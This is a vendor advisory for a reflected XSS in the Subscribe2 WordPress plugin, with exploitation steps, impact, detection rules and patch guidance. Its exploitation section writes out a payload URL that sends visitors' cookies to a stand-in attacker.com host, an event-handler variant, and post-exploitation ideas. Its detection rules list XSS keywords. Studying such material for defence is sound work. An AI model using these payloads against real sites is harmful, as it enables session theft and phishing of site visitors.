CVE-2026-14331
Executive Summary
CVE-2026-14331 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Subscribe2 WordPress plugin, affecting all versions prior to 10.46. The flaw exists in the public subscription form where the email parameter is reflected without proper output encoding, allowing an unauthenticated attacker to inject malicious JavaScript that executes in the context of any visitor who clicks a crafted link. With a CVSS score of 6.1 (Medium), this vulnerability requires user interaction but requires no authentication, making it a viable vector for phishing campaigns, credential harvesting, and session hijacking against WordPress sites running the vulnerable plugin. The patch is available in Subscribe2 version 10.46.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The Subscribe2 plugin for WordPress provides email subscription functionality typically embedded in public-facing pages and widgets. The vulnerability resides in the plugin's handling of the email query parameter during form rendering. When a user submits the subscription form without valid data, or when the form is reloaded with an email parameter present in the URL, the plugin reflects the submitted value directly into the HTML response without performing output sanitization or encoding.
The faulty code path is triggered when the plugin processes the subscription form submission. Specifically, the plugin retrieves the value of $_GET['email'] or $_POST['email'] and renders it into the form's email input field using a pattern similar to:
<input type="text" name="email" value="<?php echo $_GET['email']; ?>" />
No esc_attr(), htmlspecialchars(), or wp_kses() filtering is applied before the value is embedded in the HTML attribute context. This allows an attacker to break out of the value attribute by injecting characters such as " followed by event handler attributes or closing the input tag entirely and injecting arbitrary HTML/JavaScript.
The attack surface is the public subscription form endpoint, which is accessible to unauthenticated visitors. Since the parameter is reflected via a GET request, the attacker can craft a malicious URL and distribute it via email, social media, or other phishing channels. The lack of CSRF protection on the reflection point is irrelevant here because the reflection itself is the vulnerability—the victim only needs to click the link and load the page.
WordPress core themes typically escape output using esc_html(), esc_attr(), or esc_url(), but third-party plugins are responsible for their own output escaping. Subscribe2 versions below 10.46 failed to implement this, leaving the reflected value raw in the response. The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), confirming the XSS nature of the flaw.
Exploitation Scenarios
Step 1 — Reconnaissance/Target Identification: The attacker identifies WordPress sites running Subscribe2. This can be done by inspecting page source for Subscribe2-specific markers such as class="subscribe2", form IDs containing subscribe2, or checking for /wp-content/plugins/subscribe2/ in the source. The attacker can also use search engines with dorks like inurl:"wp-content/plugins/subscribe2" or fingerprint via Shodan (see Shodan dorks in METADATA). Confirming the exact version requires checking the plugin's readme.txt file, which is publicly accessible at /wp-content/plugins/subscribe2/readme.txt.
Step 2 — Weaponization/Crafting the Payload: The attacker crafts a malicious URL targeting the subscription form endpoint. The vulnerable parameter is email. A simple payload that breaks out of the input attribute looks like:
https://victim-site.com/?subscribe2=subform&email="><script>document.location='https://attacker.com/steal?c='+document.cookie</script>
A more stealthy variant uses event handlers to avoid visible script tags in some filtering scenarios:
https://victim-site.com/?subscribe2=subform&email=" onfocus="alert(1)" autofocus="
For credential harvesting, the payload can inject a fake login overlay or redirect the user to a phishing page that mimics the WordPress admin login. The URL should be URL-encoded to ensure proper transmission. For example, the quote characters become %22 and angle brackets become %3C and %3E.
Step 3 — Delivery/Execution: The attacker distributes the crafted link through phishing emails (disguised as legitimate subscription confirmations or account notifications), social media posts, or by injecting the link into compromised third-party sites. When the victim clicks the link, the browser loads the vulnerable page. The PHP code reflects the email parameter unescaped into the HTML source. The victim's browser parses the injected payload and executes the JavaScript in the origin context of the victim's WordPress site.
Step 4 — Post-Exploitation: The malicious JavaScript executes with full access to the page's DOM under the victim's session. Possible actions include:
- Reading session cookies and sending them to the attacker's server (
document.cookieexfiltration). - Intercepting form submissions, including any credentials or data the victim types into the page.
- Injecting a keylogger that records keystrokes.
- Modifying the page to display a fake subscription confirmation with embedded malware download links.
- Redirecting the victim to a malicious phishing page that mimics the WordPress login to harvest admin credentials.
- Performing actions on behalf of the victim via XHR requests if the victim is an authenticated administrator (e.g., creating a new admin user by forging requests to
user-new.php).
Because the execution context is the victim's browser and session, any stored cookies (unless flagged HttpOnly) are accessible. Even with HttpOnly flags, the attacker can still perform actions on behalf of the authenticated user, making session hijacking a viable post-exploitation outcome.
Impact Assessment
CVSS Breakdown (Score: 6.1, Medium): The vector is CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. Network attack vector (AV:N) means the attacker can exploit this remotely without local access. Low attack complexity (AC:L) indicates no special conditions are required beyond the victim clicking a link. No privileges required (PR:N) confirms unauthenticated exploitation. User interaction (UI:R) is required—the victim must click the crafted link. Scope change (S:C) indicates the vulnerability can affect resources beyond the vulnerable component (i.e., the victim's session and potentially the WordPress application's data). Low confidentiality impact (C:L) and low integrity impact (I:L) reflect that while data can be read and modified, the attacker does not gain direct server-level access. No availability impact (A:N).
Business Impact: For a WordPress site running Subscribe2, this vulnerability represents a moderate-to-high risk depending on the site's exposure and user base. Unauthenticated XSS can be leveraged to target any visitor, not just administrators. This enables:
- Credential Phishing: Visitors can be presented with fake login pages; harvested credentials can lead to account takeover or admin compromise.
- Malware Distribution: Injected content can redirect users to malicious downloads, turning the site into a watering hole.
- Brand/Trust Damage: Defaced or compromised pages erode visitor trust and can trigger Google Safe Browsing warnings.
- SEO Poisoning: Attackers can inject hidden content or redirects to manipulate search rankings or drive traffic to malicious sites.
Affected Systems: All WordPress installations running Subscribe2 versions below 10.46. The vulnerability is present whenever the subscription form is rendered, which is typically on public-facing pages, sidebar widgets, and post-content shortcodes. Websites in high-traffic niches (news blogs, marketing sites, e-commerce) are higher-value targets.
Blast Radius: The blast radius is limited to browsers of users who click the crafted link, but the ripple effect includes any administrative action performed by a compromised admin session. The confidentiality and integrity of the WordPress content database can be indirectly impacted if an admin is tricked into executing a forged action.
Detection Guidance
Sigma Rule
title: CVE-2026-14331 - Subscribe2 Reflected XSS via email Parameter
id: 6f9ab2d4-2c80-4d31-9a67-4d1f97d3a19c
status: experimental
description: Detects requests containing suspicious email parameter values targeting Subscribe2 WordPress plugin
author: Valtersit Threat Intelligence
date: 2026/01/15
tags:
- attack.initial-access
- attack.t1190
- cve.2026.14331
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: GET
cs-uri-query|contains|all:
- 'email='
cs-uri-query|contains|any:
- '<script>'
- '<img'
- 'onerror='
- 'onload='
- 'javascript:'
- '%3Cscript'
- '%3Cimg'
- 'document.cookie'
- 'fetch('
- 'XMLHttpRequest'
cs-uri-query|contains:
- 'subscribe2'
filter_known_good:
cs-uri-query|contains:
- 'email=name%40domain.com'
- 'email=test%40test.com'
condition: selection and not filter_known_good
level: high
falsepositives:
- Legitimate subscriptions containing unusual email addresses (rare)
- Security scanners probing the endpoint
YARA Rule
rule CVE_2026_14331_Subscribe2_Reflected_XSS {
meta:
author = "Valtersit Threat Intelligence"
description = "Detects malicious payloads targeting Subscribe2 email parameter"
cve = "CVE-2026-14331"
date = "2026-01-15"
severity = "medium"
strings:
$s1 = "subscribe2" ascii wide nocase
$s2 = "email=" ascii wide nocase
$s3 = "<script>" ascii wide nocase
$s4 = "onerror=" ascii wide nocase
$s5 = "onload=" ascii wide nocase
$s6 = "javascript:" ascii wide nocase
$s7 = "document.cookie" ascii wide nocase
$s8 = "%3Cscript" ascii wide nocase
$s9 = "%3Cimg" ascii wide nocase
$s10 = "fetch(" ascii wide nocase
$s11 = "document.location" ascii wide nocase
$s12 = "String.fromCharCode" ascii wide nocase
condition:
uint16(0) == 0x3C21 and // "<!" HTML comment or preamble
any of ($s1, $s2) and
any of ($s3, $s4, $s5, $s6, $s7, $s8, $s9, $s10, $s11, $s12)
}
Suricata IDS Rule
alert http any any -> any any (msg:"CVE-2026-14331 Subscribe2 Reflected XSS Attempt"; flow:established,to_server; content:"GET"; http_method; content:"subscribe2"; http_uri; nocase; content:"email="; http_uri; nocase; content:"<script>"; http_uri; nocase; pcre:"/(\x3Cscript[^\r\n]*>|onerror\s*=|onload\s*=|javascript\s*:|document\.cookie|fetch\s*\()/i"; sid:202614331; rev:1; metadata:created_at 2026_01_15, updated_at 2026_01_15, cve CVE-2026-14331;)
Elastic Detection
sequence by source.ip with maxspan=30s
[ network where dns.question.name : "*.wordpress.com" or http.request.full_url : "*/wp-content/plugins/subscribe2/*" ]
[ http where event.category == "web" and http.request.method == "GET"
and url.path : "*subscribe2*"
and url.query : "*email=*"
and (
url.query : "*<script>*" or
url.query : "*onerror=*" or
url.query : "*onload=*" or
url.query : "*javascript:*" or
url.query : "*document.cookie*" or
url.query : "*%3Cscript*" or
url.query : "*fetch(*"
)
]
Splunk SPL Query
index=web sourcetype="access_combined_wcookie"
| where method="GET"
AND uri_path LIKE "%subscribe2%"
AND uri_query LIKE "%email=%"
AND (
uri_query LIKE "%<script>%" OR
uri_query LIKE "%onerror=%" OR
uri_query LIKE "%onload=%" OR
uri_query LIKE "%javascript:%" OR
uri_query LIKE "%document.cookie%" OR
uri_query LIKE "%3Cscript%" OR
uri_query LIKE "%3Cimg%" OR
uri_query LIKE "%fetch(%" OR
uri_query LIKE "%document.location%"
)
| stats count by src_ip, uri_query, dest_host, _time
| sort -count
| table _time, src_ip, dest_host, uri_query, count
Wazuh OSSEC Rule
<group name="cve-2026-14331,">
<rule id="401586" level="12">
<decoded_as>json</decoded_as>
<field name="url">\.subscribe2\.</field>
<regex>email=(?i).*(<script|onerror|onload|javascript:|document\.cookie|%3Cscript|%3Cimg|fetch\(|document\.location)</regex>
<description>CVE-2026-14331: Subscribe2 Reflected XSS exploitation attempt detected in URL</description>
<group>web_application_attack,</group>
<mitre>
<id>T1190</id>
</mitre>
</rule>
<rule id="401587" level="10">
<if_sid>202614331</if_sid>
<regex>email=(?i)onerror=|email=(?i)onload=|email=(?i)javascript:</regex>
<description>CVE-2026-14331: High-confidence XSS payload in Subscribe2 email parameter</description>
<group>web_application_attack,</group>
<mitre>
<id>T1190</id>
</mitre>
</rule>
</group>
Mitigation & Patch Guidance
Patch Confidence: 2/4 (CLAIMED — single source claims patch (not independently confirmed)). The NVD entry indicates the fix is present in Subscribe2 version 10.46. This has not been independently verified by Valtersit at this time; validate the fix by upgrading and testing the email parameter reflection.
1. Immediate Mitigations (apply within 24–48 hours):
- Temporary Parameter WAF Rule: If a Web Application Firewall (WAF) is in place, add a rule to block or sanitize requests to the Subscribe2 endpoint where the
emailparameter contains<,>,",',%3C,%3E,%22, or JavaScript-related keywords (script,onerror,onload,javascript:). - Disable or Hide Subscription Form: If immediate patching is impossible, deactivate the Subscribe2 plugin temporarily or remove the subscription widget/shortcode from public pages until the upgrade is applied.
- Add Server-Side Input Validation (hotfix): If you have server access, add a PHP filter to the
$_GET['email']and$_POST['email']values before they reach the plugin. Sanitize withsanitize_email()(which strips all characters except letters, digits, and@._-) in a custom mu-plugin located inwp-content/mu-plugins/.
2. Patch/Upgrade Steps:
- Navigate to WordPress Admin → Plugins → Installed Plugins.
- Locate Subscribe2 and check for a pending update notification to version 10.46 or higher.
- Click "Update Now", or manually download the latest version from the WordPress Plugin Repository and replace the
/wp-content/plugins/subscribe2/directory. - Critical: Update through WordPress's built-in updater or by replacing the plugin files. After upgrading, confirm the version by checking the readme.txt or the plugin header.
- Verification: After the update, craft a test request to
https://your-site.com/?subscribe2=subform&email=%22%3E%3Cscript%3Ealert(1)%3C/script%3Eand verify the script tag appears as literal text rather than being executed in the browser (reflected as<script>or stripped entirely). Theemail=yoursite@example.comvalue should also be properly escaped.
3. Long-Term Hardening:
- Update Cadence: Enable automatic updates for WordPress plugins or establish a weekly manual review schedule for plugin updates. Subscribe2 releases security patches; stay current.
- Output Escaping Audit: Review all custom theme templates and plugins for similar reflection points. Use WordPress coding standards:
esc_html(),esc_attr(), andesc_url()for all output. - Content Security Policy (CSP): Deploy a strict CSP header (
Content-Security-Policy: script-src 'self') to mitigate the impact of any future XSS by preventing inline script execution. - Web Application Firewall: Maintain an active WAF with virtual patching rules for known CVEs, especially WordPress plugin vulnerabilities.
- Security Plugins: Deploy WordPress security plugins (e.g., Wordfence, Sucuri) that include virtual patching and real-time traffic analysis.
- Regular Scanning: Include the Subscribe2 plugin in your vulnerability scanning and penetration testing schedule.
References
NVD Entry — CVE-2026-14331: https://nvd.nist.gov/vuln/detail/CVE-2026-14331
- Official NVD record with CVSS vector, CWE classification, and affected version range.
WordPress Plugin Repository — Subscribe2: https://wordpress.org/plugins/subscribe2/
- Official distribution channel for patched version 10.46 and changelog details.
WordPress CVE Tracker (WPScan) — Subscribe2 Vulnerability: https://wpscan.com/plugin/subscribe2/
- Third-party vulnerability database listing plugin-specific CVE history, including active scans and exploit attempts.
MITRE ATT&CK — T1190 Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
- MITRE framework reference mapping the exploitation technique used in this CVE.
OWASP — Cross Site Scripting Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- Reference for output encoding best practices to prevent recurrence of similar XSS flaws.
Threat Actor Context: As of this writing, no known advanced persistent threat (APT) campaigns have been publicly attributed to this specific CVE. However, WordPress plugin XSS vulnerabilities are routinely leveraged by mass-scanning botnets and opportunistic attackers within 24–72 hours of disclosure. The public availability of the payload vector and the ease of exploitation make in-the-wild exploitation likely. Monitor web server logs for unusual email parameter values, particularly those containing script tags or event handler attributes, and cross-reference with the Sigma/Suricata rules provided above. The CISA KEV catalog does not currently list this CVE, indicating no federally confirmed exploitation as of the report date.
EPSS Note: FIRST.org has not yet published an EPSS score for CVE-2026-14331. Based on historical patterns for WordPress plugin XSS with public proof-of-concept techniques (even without a public PoC for this specific CVE), the likelihood of exploitation is elevated in the first 90 days post-disclosure.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.